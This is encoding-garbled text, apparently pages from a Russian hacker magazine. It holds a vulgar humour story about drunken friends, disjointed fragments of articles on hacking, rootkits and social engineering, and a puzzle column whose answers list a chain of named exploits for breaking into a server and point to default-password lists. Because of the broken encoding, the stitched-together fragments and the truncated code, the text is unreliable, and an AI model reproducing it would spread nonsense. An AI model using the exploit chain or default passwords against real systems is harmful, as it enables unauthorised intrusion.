- ïîëíûé óëåò!!! Çàöåíè: ãîëóáîå íåáî, òó÷êè òèïà<br />

ðàñõîäÿòñÿ è íàäïèñü "ÂÛÕÎÄ ÅÑÒÜ!". È òåëåôîí<br />

åùå äàí - ýòî ñëóæáà ïñèõïîääåðæêè êàêàÿòî!!!<br />

Äàâàéòå ïîçâîíèì!<br />

Íå äîæèäàÿñü îòâåòà, Ìàêñ ðóõíóë íà ìàòðàñ<br />

îêîëî òåëåôîíà è ñòàë íàáèðàòü êàêîé-òî íîìåð.<br />

- Íå øóìèòå òîëüêî! ß ãðîìêóþ ñâÿçü âêëþ÷ó,<br />

÷òîáû âàì ñëûøíî áûëî! Ýíäæîé!!!<br />

ßíêà ñåëà, óñòðîèëàñü ïîóäîáíåå, ïðèñëîíèâøèñü<br />

ê ñòåíå, à Êîëÿ ëåã, ïîëîæèâ ãîëîâó åé íà<br />

êîëåíè.<br />

- Ëèíèÿ äîâåðèÿ, äîáðûé âå÷åð!<br />

- À ÿ òóäà ïîïàë<br />

- Íå çíàþ.<br />

- Ýòî ëèíèÿ äîâåðèÿ<br />

- Äà!<br />

- ß âàø ïëàêàò â ìåòðî óâèäåë. Òàì íàïèñàíî:<br />

"Âûõîä åñòü!". À ïî-ìîåìó íåò!<br />

- Êàê òåáÿ çîâóò<br />

- Ìàêñ.<br />

- Ñêîëüêî òåáå ëåò<br />

- 17.<br />

- Òàê, Ìàêñèì, è ïî÷åìó æå òû äóìàåøü, ÷òî âûõîäà<br />

íåò<br />

- ß íå ìîãó áðîñèòü äðî÷èòü ïî óòðàì!!!<br />

- Áðîñèòü ÷òî<br />

- ÄÐÎ×ÈÒÜ!!!<br />

- Íó, â ýòîì íåò íè÷åãî ñòðàøíîãî! Ïî÷òè âñå ðåáÿòà<br />

â òâîåì âîçðàñòå çàíèìàþòñÿ ìàñòóðáàöèåé<br />

- ýòî íîðìàëüíî.<br />

- À åùå ìíå èíîãäà êàæåòñÿ, ÷òî ÿ - ëåñíîé äÿòåë<br />

Âóäè Âóäïåêåð! Ýòî òîæå íîðìàëüíî!<br />

 îòâåò ðàçäàëèñü ëèøü ãðîìêèå ãóäêè... Ìàêñ<br />

ïî÷åñàë çàòûëîê è âçãëÿíóë íà äðóçåé:<br />

- Âîò äóðà! Áðîñèëà òðóáêó! Íà ñàìîì èíòåðåñíîì<br />

ìåñòå!!!<br />

LÀÌÀÐÀÇÌÛ<br />

Èíîãäà íàøè àâòîðû âûäàþò òàêèå øåäåâðû, ÷òî<br />

Æâàíåöêèé äîëæåíò ïîâåñèòüñÿ íà ñâîèõ ïîäòÿæêàõ<br />

 ñåãîäíÿøíåì ìàòåðèàëå ÿ áû õîòåë îñâÿòèòü âàæíûé<br />

àñïåêò âåá-, äà è, âïðî÷åì, ëþáîãî ïðîãðàììèðîâàíèÿ<br />

Âåäü åñëè âäðóã ïåðåñòàíóò ïîêàçûâàòüñÿ áàííåðû ïàðòíåðîâ<br />

è çàêàç÷èêîâ, íè÷åãî õîðîøåãî ýòîìó ÿâíî íå ñâåòèò.<br />

ïîýòîìó ÿ âêðàòöå îêóíóñü â èõ èñòîðèþ.<br />

Òàì ìàòåðèàë ïðåäñòàâëåí î÷åíü âíÿòíî è äîõîä÷èâî,<br />

òàê ÷òî äàæå îïûòíûé àäìèí ñìîæåò ïî÷åðïíóòü äëÿ ñåáÿ<br />

÷òî-òî íîâîå.<br />

Âåäü ïðîöåññ õàêà ìîæåò äëèòüñÿ íåñêîëüêèìè íåäåëÿìè,<br />

à òî è ìåñÿöàìè;<br />

âçëîìùèê äîâîëüíî ÷àñòî ñîäðîãàåòñÿ îò òåëåôîííûõ<br />

çâîíêîâ è íåæäàííûõ ãîñòåé.<br />

è âñå áåññîííûå íî÷è ïî ñáîðó äàííûõ, ñêàíèðîâàíèþ,<br />

âòîðæåíèþ, óéäóò â íèêóäà.<br />

ìîòèâèðóÿ îïëàòîé â âèäå êðóïíîé ñóììû â ñëó÷àå óñïåõà.<br />

Åñëè âñïîìíèòü ïîëóãîäè÷íûå âðåìåíà, òî íàøóìåâøèõ<br />

áàãîâ áûëî íåìíîãî...<br />

Óñòàíîâèâ ðóòêèò, åìó ïîä÷èíèëàñü âñÿ ñèñòåìà...<br />

Íî êèäèñ íå ñäàâàëñÿ è óñåðäíî äóìàë, ÷òî æå åùå ìîæíî<br />

ïðèäóìàòü.<br />

PHP-áàã íà ñåðâåðå òàê è íå îêàçàëñÿ çàïàò÷åííûì â òå-<br />

÷åíèè ïîëóãîäà.<br />

ñèñòåìà áûëà ïåðåóñòàíîâëåíà íà áîëåå íîâóþ<br />

Åñëè òû ïîäõîäèøü ê äåëó îñíîâàòåëüíî è ãîòîâ âëîæèòü<br />

âðåìÿ â óãîäó ýôôåêòèâíîñòè õîðîøèì ìåòîäîì, òåáå<br />

ìîæåò ïîìî÷ü "îáðàòíàÿ ñîöèàëüíàÿ èíæåíåðèÿ".<br />

Ñêîëü áû íå áûë íàñòîðîæåííûì èëè ïîäêîâàííûì<br />

æèçíüþ ÷åëîâåê,<br />

Ïîðåøèâ 15-õ äåòåé,<br />

Åñëè ó òåáÿ åñòü ïîäðóæêà ñ àíãåëüñêèì ãîëîñîì, óìåþùàÿ<br />

ðàçãîâàðèâàòü ñ ïàðíÿìè íà ìíîãîîáåùàþùèõ òîíàõ<br />

âîëåé-íåâîëåé ïðèäåòñÿ ïîéòè ó òîãî íà ïîâîäó ñîáûòèé.<br />

êîòîðûì ãëóáîêî íàïëåâàòü íà òî, ÷òî òû ñîìíåâàåøüñÿ<br />

â èõ íåêîìïåòåíòíîñòè,<br />

äîáèâàòüñÿ óñïåõà òàì, ãäå äðóãèå òîëüêî ðàçâåäóò ðóêè.<br />

Èòàê, ïîðÿäîê íàøèõ äåéñòâèé â æåñòêî ïðîíóìåðîâàííîì<br />

ïîðÿäêå:<br />

Ïîýòîìó íàñòîÿòåëüíî ðåêîìåíäóþ ïðåäâçÿòî è òðåçâî<br />

îöåíèâàòü ýòè ïàðàìåòðû ìîíèòîðà, íå ó÷èòûâàÿ âíåøíèé<br />

âèä è ïðèâëåêàòåëüíóþ öåíó.<br />

Èòàê, ðàññìîòðèì äâå çàïîäëÿíñêèå øòó÷êè, êîòîðûå<br />

æàæäóò ñâîåãî ïðèìåíåíèÿ íà æåðòâå.<br />

ñîçäàäèì ñëåäóþùóþ ïðîãðàììó íà C, ïðèìåðíî ñëåäóþùåãî<br />

ñîäåðæàíèÿ:<br />

Ýòà ñòàòüÿ íå çàñòàâëÿåò òåáÿ äåëàòü ÷òî-ëèáî ïðîòèâîçàêîííîå,<br />

à òîëüêî ïîêàçûâàåò î âîçìîæíîñòè òîé èëè<br />

èíîé ñèòóàöèè.<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 107


Þíèòû<br />

ÕÓÌÎÐ<br />

Ïîíèìàåì!<br />

Âû õîòü ïîíèìàåòå,<br />

÷òî çà ãîâíî åäèòå<br />

Äàíèèë Øåïîâàëîâ<br />

Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />

ìîäèôèöèðîâàííûõ îñëèêîâ<br />

(dan@real.xakep.ru , www.danya.ru)<br />

- Ôîêñè! À êòî ýòî ñ òîáîé<br />

Ôîêñè íàäóëà áîëüøîé ïóçûðü<br />

èç ðîçîâîé æåâàòåëüíîé<br />

ðåçèíêè, ëîïíóëà<br />

åãî è ëåãêîìûñëåííî<br />

áðîñèëà:<br />

- Ýòî Þäæèí. Îí èç<br />

×åõèè. Îí òàì âîäî÷íûé<br />

êîðîëü<br />

èëè ÷òî-òî òèïà<br />

òîãî.<br />

Þäæèí ïüÿíî ïîñìîòðåë<br />

íà Ôîêñè:<br />

- Ó ìåíÿ ôàáðèêà<br />

ïîä Ïðàãîé. Àáñåíò.<br />

- Íó, ôàáðèêà òàê ôàáðèêà,<br />

êàêàÿ ðàçíèöà.<br />

Ïîøëèòå âíóòðü ëó÷øå! -<br />

Ìàêñ âçÿë ßíêó è Ëåëèêà çà ðóêè<br />

è íàïðàâèëñÿ ê âõîäó.<br />

- Âàøè ïðèãëàøåíèÿ, ìîëîäûå ëþäè - âåæëèâî<br />

îñòàíîâèë åãî îõðàííèê.<br />

- Äà âû ÷òî, ñ óìà ñîøëè! Ìû æå Íîâûå Êîìïîçèòîðû!<br />

- Êòî<br />

- Íîâûå Êîìïîçèòîðû!!! ß - Âàëåðèé Àëàõîâ, à<br />

âîò ýòî - Ìàêñ íåîïðåäåëåííî ìàõíóë ðóêîé â<br />

ñòîðîíó îñòàëüíîé êîìïàíèè - Èãîðü Âîðîòíèêîâ!<br />

- À ÿ àáñåíòîâûé êîðî… - íà÷àë áûëî ïîâåñåëåâøèé<br />

Þäæèí, íî ñòîÿùàÿ âïåðåäè ßíêà áîëüíî<br />

ñòóêíóëà åãî ëîêòåì â æèâîò.<br />

- Õîðîøî, ïðîõîäèòå! - óñòàëî áðîñèë îõðàííèê.<br />

- Ãëàìóððð, - ïðîìóðëûêàëà â îòâåò Ôîêñè.<br />

- Äóðà! - îòðåçàë Ýïøòåéí. - Ãëàìóð - ýòî êîãäà<br />

ïüåøü Áàëòèêó N9 ó ìåòðî! Ãëàìóð, ïîçèòèâ, ïàôîñ,<br />

êðåàòèâ… òüôó, äðÿíü êàêàÿ!<br />

- Äåáèë! - çàäóì÷èâî ïðîòÿíóë Êîëÿ.<br />

- À òû… à òû… à òû ãëàìóðíûé äè-äæåé!!!<br />

- Ñàì äè-äæåé!<br />

Òóò íà ïîäóøêó ìåæäó äðóçüÿìè óïàëà ïîäîøåäøàÿ<br />

ñ êîêòåéëåì â ðóêàõ ßíêà:<br />

- Íåò â æèçíè ñ÷àñòüÿ!<br />

- Ïî÷åìó - ïîèíòåðåñîâàëñÿ Êîëÿ.<br />

- Íó, îòêóäà ÿ çíàþ. Íåò è âñå òóò! Âîò ðàññêàæè<br />

íàì î ñàìîì ñ÷àñòëèâîì ìîìåíòå òâîåé æèçíè!<br />

- Î'êåé. Êîãäà íàì ñ Ìàêñîì áûëî ïî 6 ëåò, ìû<br />

î÷åíü ëþáèëè ëàçàòü ïî ñâàëêàì. Âå÷åðîì ïîñëå<br />

äåòñêîãî ñàäà âñåãäà òàì òóñîâàëèñü è èñêàëè<br />

âñÿêóþ âñÿ÷èíó. Òàê âîò îäíàæäû ÿ<br />

íàøåë òàì íàñòîÿùóþ êàïèòàíñêóþ<br />

ôóðàæêó! Áåëóþ, íîâóþ - ïîëíûé<br />

óëåò! Öåëûé äåíü â íåé õîäèë è áûë<br />

áåçóìíî ñ÷àñòëèâ! À ïîòîì ýòîò<br />

ãàíäîí, - Êîëÿ ïîêàçàë íà Ýïøòåéíà,<br />

- ïðîìåíÿë åå íà êàêîãî-òî<br />

òðèòîíà.<br />

- Íå íà êàêîãî-òî, à íà êîðîëåâñêîãî!<br />

- âîçìóòèëñÿ Ìàêñ. - À ýòî<br />

ñóùåñòâåííî ìåíÿåò äåëî!<br />

- À ó ìåíÿ òîæå åñòü èñòîðèÿ ïðî<br />

ñ÷àñòüå! - îæèâèëñÿ Þäæèí. - Íå èç<br />

äåòñòâà, ïðàâäà, çàòî òîæå ìîðñêàÿ. ß<br />

òîãäà íà ôëîòå ñëóæèë, âòîðîé ìåñÿö<br />

òîëüêî. È âîò íàðÿä íà êàìáóçå, ãëóáîêàÿ<br />

íî÷ü, ìû ñ ñîñëóæèâöåì ñèäèì è ÷èñòèì âàííó<br />

ëóêà â ïîìåùåíèè ðàçìåðîì ÷åòûðå êâàäðàòíûõ<br />

- Âû õîòü ïîíèìàåòå, ÷òî çà<br />

ãîâíî åäèòå - Íå<br />

óíèìàëàñü ßíêà.<br />

- Ïîíèìàåì! - îòâåòèë Ìàêñ, äîæåâûâàÿ áèã-ìàê, -<br />

íî íè÷åãî ñ ñîáîé ïîäåëàòü íå ìîæåì! Çàòåì ïîäíÿë<br />

íàä ãîëîâîé ïàêåò ñ åäîé è çàêðè÷àë: Ñïàñèáî, Ãàìáóðãåð!!!<br />

Ñïàñèáî, Áîëüøàÿ Êàðòîøêà!!! Áîëüøàÿ Êîëà, ñïàñèáî<br />

òåáå!!!<br />

ßíêà ôûðêíóëà è êèíóëà â Ìàêñà ïóñòûì ñòàêàí÷èêîì èçïîä<br />

ìîëî÷íîãî êîêòåéëÿ. Îíè ñèäåëè íà àñôàëüòå îêîëî<br />

McDonald's, ïðèñëîíèâøèñü ñïèíîé ê ïðîçðà÷íîé âèòðèíå<br />

è âûòÿíóâ âïåðåä íîãè â ñòàðûõ êðîññîâêàõ. Ãäå-òî âäàëè<br />

áûëà âèäíà îæèâëåííàÿ òðàññà, ïî êîòîðîé íåñêîí÷àåìûì<br />

ñìàçàííûì ïîòîêîì íåñëèñü ÿðêèå<br />

îãíè. Íî÷ü. Âåòåð, ñèëüíûå ïîðûâû êîòîðîãî<br />

óíîñÿò îáðûâêè ñëîâ è ïëàñòèêîâûé<br />

ìóñîð.<br />

ìåòðà. Òóïûìè<br />

ñòîëîâûìè íîæàìè.<br />

×èñòèì, ðûäàåì,<br />

âñïîìèíàåì<br />

äîáðûì ñëîâîì<br />

ñïÿùèõ áîåâûõ<br />

òîâàðèùåé,<br />

ñòàðøèíó, âîåííîãî<br />

êîìèññàðà, ñâîèõ<br />

ðîäèòåëåé, Ãîñïîäèíà<br />

Êðèøíó è äðóãèõ ãðàæäàí.<br />

È âîò ãäå-òî ÷åðåç ÷àñ ïîñëå<br />

òîãî, êàê ìû óæå ïåðåñòàëè äóìàòü<br />

î ñóèöèäå, çàáåãàåò ê íàì êîëëåãàäîëá..á<br />

Ñåðåãà Èâàíîâ. È ãîâîðèò: òàê, ìîë, è òàê,<br />

ïàðíè, ïîéìàëè ìåíÿ ïðè ïîïûòêå ñàìîõîäà è<br />

íàïðàâèëè âìåñòî âàñ ëóê ÷èñòèòü. À äëÿ âàñ,<br />

äðóçüÿ, â ñîñåäíåì ïîìåùåíèè äâå âàííû êàðòîøêè<br />

ïðèãîòîâëåíî - äåðçàéòå. Âîò òîãäà-òî ÿ è<br />

ïåðåæèë ñ÷àñòëèâåéøèå ìãíîâåíèÿ â ñâîåé æèçíè.<br />

Êîãäà íàïîëíÿåòñÿ îíà âäðóã ñìûñëîì, ðàäîñòüþ<br />

è áîæåñòâåííîé êðàñîòîé…<br />

- À ÷òî ýòîò òâîé Ñåðãåé, äî÷èñòèë âàííó ëóêà -<br />

ñïðîñèëà ßíêà.<br />

- Íó, êàê ñêàçàòü. Çàêîí÷èëè ìû, çíà÷èò, ïîä óòðî<br />

óæå ñâîþ êàðòîøêó, íàïàðíèê ìîé íà÷àë èç<br />

øëàíãà ïîë ïîëèâàòü, à ÿ ïîøåë ïðîâåðèòü - êàê<br />

òàì Ñåðåãà. À âñå ýòî äåëî â ðûáíîì öåõå áûëî,<br />

òàì ïëàêàòû ïî ñòåíàì âèñåëè ðàçíûå, íà êîòîðûõ<br />

ïîêàçàíî, êàê ïðàâèëüíî ðûáó ðàçäåëûâàòü.<br />

È âîò, çíà÷èò, çàõîæó ÿ òóäà è âèæó Ñåðåãó, ñòîÿùåãî<br />

ó îäíîãî èç òàêèõ ïëàêàòîâ ñ ãðÿçíîé òðÿïêîé<br />

â ðóêàõ è óëûáàþùåãîñÿ, êàê Ìîíà Ëèçà.<br />

- Íó, êàê ó òåáÿ äåëà - ñïðàøèâàþ.<br />

À îí ïîâåðíóëñÿ, ïîñìîòðåë íà ìåíÿ ìíîãîçíà-<br />

÷èòåëüíî è ïðîèçíåñ òèõî òàê:<br />

- Ñåé÷àñ ÿ òåáÿ çàäóøó!<br />

È ìåäëåííî âïåðåä äâèíóëñÿ. È, çíàåøü, î÷åíü<br />

óáåäèòåëüíî îí ýòî ñêàçàë: ÿ åìó â òîò ìîìåíò<br />

ïîâåðèë ïî÷åìó-òî, ìèãîì èç ðûáíîãî öåõà<br />

âûñêî÷èë, è äâåðü çà ñîáîé íà çàñîâ çàêðûë. À óòðîì<br />

Ñåðåãó îñìîòðåë ïñèõèàòð, è åãî êîìèññîâàëè.<br />

- Äà, ãðóñòíàÿ èñòîðèÿ! - ïîäâåë èòîã Ìàêñ. - À ó<br />

ìåíÿ ñàìûå ñ÷àñòëèâûå ìãíîâåíèÿ áóäóò â æèçíè<br />

òîãäà, êîãäà êòî-íèáóäü ðàçáóäèò ìåíÿ óòðîì<br />

ìèíåòîì!<br />

- Òîæå ìíå, ñïÿùèé êðàñàâåö íàøåëñÿ! -<br />

ïðûñíóëà Ôîêñè.<br />

Ïîêà ÿ ñ âàìè òóò áóõàþ<br />

- ó ìåíÿ ôàáðèêó<br />

ñïèç..ëè!<br />

- Þäæèí, òû ÷åãî çàãðóñòèë - òîëêíóëà ïðèÿòåëÿ<br />

Ôîêñè.<br />

- Ïîêà ÿ ñ âàìè òóò áóõàþ - ó ìåíÿ ôàáðèêó ñïèç..ëè!<br />

- ×òî ñïèç..ëè - ðåøèë íà âñÿêèé ñëó÷àé óòî÷íèòü Êîëÿ.<br />

- Ôàáðèêó! - Þäæèí âûëèë â áîêàë ñ ïèâîì ñòîïêó âîäêè, ïåðåìåøàë ïëàñòèêîâîé òðóáî÷êîé è<br />

âûïèë çàëïîì. Çàòåì ïîäíÿëñÿ ñ ìåñòà è, çàìåòíî ïîêà÷èâàÿñü, îòïðàâèëñÿ â òóàëåò.<br />

Ìàêñ îáíÿë Ôîêñè:<br />

- Íó ÷òî, ïî õîäó òâîé äðóæîê äåðíóë êîêòåéëÿ "Ïðîùàé, ðåàëüíîñòü!"<br />

- Äà ëàäíî òåáå! Càì-òî íå ëó÷øå! - âñòóïèëñÿ Êîëÿ. - Äåâ÷îíêè, ïðèêèíüòå, îí íåäåëþ íàçàä íàæðàëñÿ ãäå-òî â ñàëàò è<br />

ìûñëè ñâîè íà äèêòîôîí çàïèñûâàë. ß ïðîñíóëñÿ - îí ìåðòâåöêè ïüÿíûé â êðåñëå ëåæèò, à äèêòîôîí íà ïîëó âàëÿåòñÿ.<br />

Íó, ÿ ïîäíÿë, ïåðåìîòàë íàçàä, âêëþ÷èë íà âîñïðîèçâåäåíèå. È çíàåøü, ÷òî òàì çàïèñàíî áûëî Ìèíóò äåñÿòü õîõîòà, à çàòåì<br />

ôðàçà "Íàäî ïðèäóìàòü öèôðîâûå ïðåçåðâàòèâû, ÷òîáû å..òü öèôðîâûõ òåòîê!".<br />

Ìàêñ óëûáíóëñÿ:<br />

- Íó è ÷òî Õîðîøàÿ ìûñëü, ìåæäó ïðî÷èì! À íàæðàëñÿ ÿ, êñòàòè, â ñîëÿðèè. Ïîøåë â ñîëÿðèé çàãîðàòü è âçÿë ñ ñîáîé âîäêó<br />

ñ ñîêîì. Íó âîò, ëåæó çíà÷èò, ïîòÿãèâàþ ïîòèõîíå÷êó ýòó áàéäó èç ôëÿãè: òåïëî, õîðîøî. À ìèíóò ÷åðåç 10 âîêðóã ñòàëè<br />

÷àéêè ëåòàòü, âîëíû ïëåùóòñÿ, ìóëàòêè ðÿäîì õîäÿò…<br />

- À ÿ îäíàæäû ïüÿíàÿ â ñòîëá âðåçàëàñü! - çàäóì÷èâî ñêàçàëà Ôîêñè. - Øëà äîìîé ñ âå÷åðèíêè è íå çàìåòèëà åãî.<br />

- Îé-îé-îé! Äîñòèæåíèå êàêîå! ß êàê-òî ðàç ïîøåë íà êóõíþ îãðûçîê îò ÿáëîêà âûáðàñûâàòü, à ïî ïóòè ðåøèë<br />

â òóàëåò çàñêî÷èòü - îòëèòü. È ÷òî æå òû äóìàåøü: âûêèíóë îãðûçîê â óíèòàç, à ïîòîì ïîøåë íà êóõíþ è<br />

íà÷àë îòëèâàòü â ìóñîðíîå âåäðî. Ñåêóíä ÷åðåç äåñÿòü îñîçíàë, ÷òî äåëàþ, íî áûëî óæå ïîçäíî…<br />

- Àëêîãîëèçì - ýòî îòâðàòèòåëüíî! - ïåðåáèëà Ýïøòåéíà ßíêà.<br />

- Êîíå÷íî, îòâðàòèòåëüíî! - ñîãëàñèëñÿ Ìàêñ, - Íî âñå îñòàëüíîå åùå îòâðàòèòåëüíåå!<br />

108 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Þíèòû<br />

X-PUZZLE<br />

Èâàí Ñêëÿðîâ (Sklyarov@real.xakep.ru)<br />

«ÏÐÎÉÄÈÑÜ ÄÅÁÀÃÃÅÐÎÌ ÏÎ ÑÂÎÈÌ ÌÎÇÃÀÌ!»<br />

Íå ñòåñíÿéñÿ ïðèñûëàòü ìíå ñâîè îòâåòû, äàæå åñëè òû ñìîã îòâåòèòü âñåãî<br />

íà îäèí ïàçë, ÿ ñ èíòåðåñîì ïî÷èòàþ òâîè îðèãèíàëüíûå ðåøåíèÿ. Íó, à<br />

èìåíà ãåðîåâ, êîòîðûå ïåðâûìè ïðàâèëüíî îòâåòÿò íà âñå âîïðîñû, êîíå÷íî<br />

æå, áóäóò îïóáëèêîâàíû â æóðíàëå, ÷åì ïðîñëàâÿòñÿ íà âñþ Ðîññèþ (è íå<br />

òîëüêî) è íàâå÷íî âîéäóò â èñòîðèþ Õ. Ïðèç çà íàìè íå çàðæàâååò. ;)<br />

Íî ïîìíè: â áîëüøèíñòâå ñëó÷àåâ âàðèàíò îòâåòà çàñ÷èòûâàåòñÿ êàê<br />

ïðàâèëüíûé, òîëüêî åñëè ê íåìó ïðèëîæåíî ïîäðîáíîå è ÂÅÐÍÎÅ<br />

îáúÿñíåíèå, ïî÷åìó âûáðàí èìåííî ýòîò âàðèàíò, à íå êàêîé-ëèáî äðóãîé.<br />

ÎÒÂÅÒÛ Ê ÏÐÅÄÛÄÓÙÅÌÓ ÂÛÏÓÑÊÓ X-PUZZLE<br />

«CRYPTFUCK V2.1»<br />

ÎÒÂÅÒ ÍÀ ÏÀÇË #1<br />

«Àäìèíîâñêèå ãëþêè»<br />

1 ãëþê: âðåìÿ íà ïàíåëè çàäà÷ è<br />

â FAR îòëè÷àåòñÿ.<br />

2 ãëþê: èíäèêàòîð ðàñêëàäêè<br />

êëàâèàòóðû íà ïàíåëè çàäà÷ ïîêàçûâàåò<br />

«En», íî òàêîå õàðàêòåðíî<br />

òîëüêî äëÿ Win9x ñèñòåì, îäíàêî<br />

íà ñêðèíøîòå ïîêàçàíà Windows<br />

XP, à âî âñåõ NT-ïîäîáíûõ ñèñòåìàõ<br />

ðàñêëàäêà ïîêàçûâàåòñÿ äâóìÿ<br />

çàãëàâíûìè áóêâàìè, ò.å.<br />

äîëæíî áûòü òàê: «EN».<br />

3 ãëþê: â WinAMP àêòèâåí çàãîëîâîê<br />

«WINAMP PLAYLIST». Â äàííîì<br />

ñëó÷àå òàêîãî áûòü íå ìîæåò.<br />

4 ãëþê: â WinAMP èãðàåò<br />

«Bucho’s Gracias», îäíàêî íà ïàíåëè<br />

çàäà÷ ïîêàçàíî «Bucho’s<br />

Gracios» (îòëè÷èå â ïðåäïîñëåäíåé<br />

áóêâå âòîðîãî ñëîâà).<br />

4 ïðèç<br />

5 ãëþê: íà ïàíåëè çàäà÷ ïîêàçàíî,<br />

÷òî â FAR’å îòêðûò äèñê {F\:},<br />

à â çàãîëîâêå îêíà óêàçàí ïóòü<br />

{F:\Program Files\Far}.<br />

6 ãëþê: â ëåâîé ïàíåëè FAR<br />

ñòðîêà ñîñòîÿíèÿ ïîêàçûâàåò, ÷òî<br />

ïðèñóòñòâóåò 31 ôàéë, êîãäà êàê<br />

èõ òàì âñåãî 30.<br />

7 ãëþê: â îêíå ââîäà êàëüêóëÿòîðà<br />

íàáðàíî 33 öèôðû, îäíàêî â<br />

ðåæèìå Dec ìîæíî âûâåñòè ìàêñèìóì<br />

32 öèôðû.<br />

ÎÒÂÅÒ ÍÀ ÏÀÇË #2<br />

«Ïîäñêàæè àéáîëó»<br />

Ýêñïëîèòû, êîòîðûå íóæíî èñïîëüçîâàòü,<br />

ïî ïîðÿäêó:<br />

1) apache-nosejob<br />

2) 7350854<br />

3) x2<br />

4) 7350fun<br />

5) 7350wurm<br />

6) q1telnet<br />

Hi, Ares! ;)<br />

ÎÒÂÅÒ ÍÀ ÏÀÇË #3<br />

«Âçëîì ïî äåôîëòó»<br />

A-7<br />

B-2<br />

C-4<br />

D-6<br />

E-8<br />

F-1<br />

G-5<br />

H-3<br />

Ñïèñîê íåêîòîðûõ äåôîëòîâûõ<br />

ïàðîëåé ìîæíî ïîñìîòðåòü, íàïðèìåð,<br />

çäåñü:<br />

www.astalavista.com/library/auditing/password/lists/defaultpasswords.shtml<br />

È ïîñëåäíèé ïðèç óëåòàåò îò íàñ<br />

íà áîëüøîì âîçäóøíîì øàðå ê<br />

Kilgur (kilgur@narod.ru). Ëîâè! :)<br />

Èç ïèñåì ÿ ïîíÿë, ÷òî ñàìûå<br />

ïîïóëÿðíûå ñðåäè ÷èòàòåëåé<br />

ïàçëû â îñíîâíîì ñâÿçàíû ñ<br />

êðèïòîãðàôèåé. Ïîýòîìó ÿ<br />

ïîñòàðàþñü ïî÷àùå âîçâðàùàòüñÿ<br />

ê ýòîé òåìå. Êîíå÷íî,<br />

ñëîæíûõ è çàìîðî÷åííûõ àëãîðèòìîâ<br />

ÿ ïðèäóìûâàòü íå<br />

áóäó, ò.ê. òåáå ïðèõîäèòñÿ<br />

îòãàäûâàòü ïàçëû â ñæàòûå<br />

ñðîêè, íî âîò òî, ÷òî çàäà÷è<br />

áóäóò ñ èçþìèíêîé, îáåùàþ.<br />

À òåïåðü ðàäóéñÿ! M.J.Ash<br />

ñêà÷àë âòîðîþ âåðñèþ ïðîãðàììû<br />

CryptFuck â íàäåæäå,<br />

÷òî ñåé÷àñ-òî îíà áóäåò ðàáîòàòü<br />

ëó÷øå. Îí íàáðàë â<br />

ïîëå ââîäà ñëîâî «Ivan» (áåç<br />

êàâû÷åê) è íàæàë êíîïêó<br />

Crypt, ïðîãðàììà âûäàëà<br />

ñëåäóþùèé øèôð:<br />

61112616626141261562<br />

Çàòåì îí íàáðàë «Sklyarov» è<br />

ïîëó÷èë ñëåäóþùèé øèôð:<br />

212312153121541217112141<br />

1216212157121661<br />

È ÷òî-òî îïÿòü íå ïîíðàâèëîñü<br />

âåäóùåìó ñàìîé âàðåçíîé<br />

ðóáðèêè. Ââåäÿ ïîñëåäíåå<br />

ñëîâî «Ash» è ïîñìîòðåâ<br />

íà ïîëó÷åííûé<br />

øèôð, M.J.Ash îêîí÷àòåëüíî<br />

ðàçãàäàë àëãîðèòì øèôðîâàíèÿ,<br />

ïîñëå ÷åãî åìó,<br />

êàê è â ïðîøëûé ðàç,<br />

ïðèøëîñü óäàëèòü ïðîãðàììó<br />

ñî ñâîåãî âèí÷åñòåðà<br />

(îí ñîâåðøåííî íå õîòåë<br />

ðåêîìåíäîâàòü ÷èòàòåëÿì<br />

ïðîãðàììó ñî ñòîëü íåñòîéêèì<br />

àëãîðèòìîì øèôðîâàíèÿ).<br />

Êàê «CryptFuck v2.1»<br />

çàøèôðîâàë ñëîâî «Ash»<br />

Íà ýòîò ðàç îòâåò ÿ çàñ÷èòàþ<br />

êàê ïðàâèëüíûé, òîëüêî<br />

åñëè ê íåìó áóäåò ïðèëîæåí<br />

ïðîãðàììíûé êîä, ðåàëèçóþùèé<br />

àëãîðèòì øèôðîâàíèÿ.<br />

Ïðîãðàììó ìîæíî<br />

ïèñàòü íà ëþáîì ÿçûêå<br />

ïðîãðàììèðîâàíèÿ (íàäåþñü,<br />

òû íå äèíîçàâð, êîòîðûé<br />

êîäèò íà Ôîðòðàíå èëè<br />

PL/1), íî ìîé âàðèàíò îòâåòà<br />

áóäåò íà C++.<br />

Æäåì âûõîäà òðåòüåé âåðñèè<br />

CryptFuck :).<br />

BH7<br />

Intel 845PE<br />

Âîçìîæíîñòü ðàçãîíà äî 800 Mhz FSB<br />

Ïîääåðæêà DDR 400<br />

Intel Hyper-Threading<br />

I6 êàíàëüíàÿ çâóêîâàÿ ïîäñèñòåìà<br />

3 ïðèç<br />

«GCC VS G++»<br />

Äâà ëàìåðà ïîñïîðèëè, ó êîãî<br />

òîëùå... õì... íåò, îá ýòîì<br />

â äðóãîé ðàç. Ïîñïîðèëè äâà<br />

ëàìåðà ïî ïîâîäó ñòàíäàðòíûõ<br />

íèêñîâûõ êîìïèëÿòîðîâ<br />

gcc è g++. Îäèí ëàìåð óòâåðæäàë,<br />

÷òî âñå ñâîè ïðîåêòû<br />

íà ÿçûêå Ñè îí êîìïèëèðóåò<br />

êîìïèëÿòîðîì gcc, à ïðîåêòû<br />

íà ÿçûêå C++ - êîìïèëÿòîðîì<br />

g++. Âòîðîé æå ëàìåð<br />

âîçðàçèë, ÷òî îí ÂÑÅ<br />

ñâîè ïðîåêòû íåçàâèñèìî îò<br />

ÿçûêà (Ñ èëè Ñ++) êîìïèëèðóåò<br />

èñêëþ÷èòåëüíî êîìïèëÿòîðîì<br />

gcc. Â îòâåò íà ýòî<br />

ïåðâûé ëàìåð ðàñõîõîòàëñÿ,<br />

íàçâàë âòîðîãî «êîí÷åíûì<br />

ëàìåðîì» è ñêàçàë, ÷òî ýòî<br />

ïðîñòî íåâîçìîæíî, ò. ê. gcc<br />

íå ìîæåò êîìïèëèðîâàòü<br />

ïðîãðàììû íà ÿçûêå C++, è<br />

â äîêàçàòåëüñòâî ïðèâåë<br />

ïðîñòåéøèé ïðèìåð íà ÿçûêå<br />

Ñ++:<br />

#include <br />

int main ()<br />

{<br />

cout


«ÈÑÏÐÀÂÜ ÁÀÃÈ»<br />

Íèæå ïðèâåäåíû ÷åòûðå ëèñòèíãà êîäà íà ÿçûêå<br />

Ñè, òâîÿ çàäà÷à - ïðàâèëüíî îïðåäåëèòü òèïû<br />

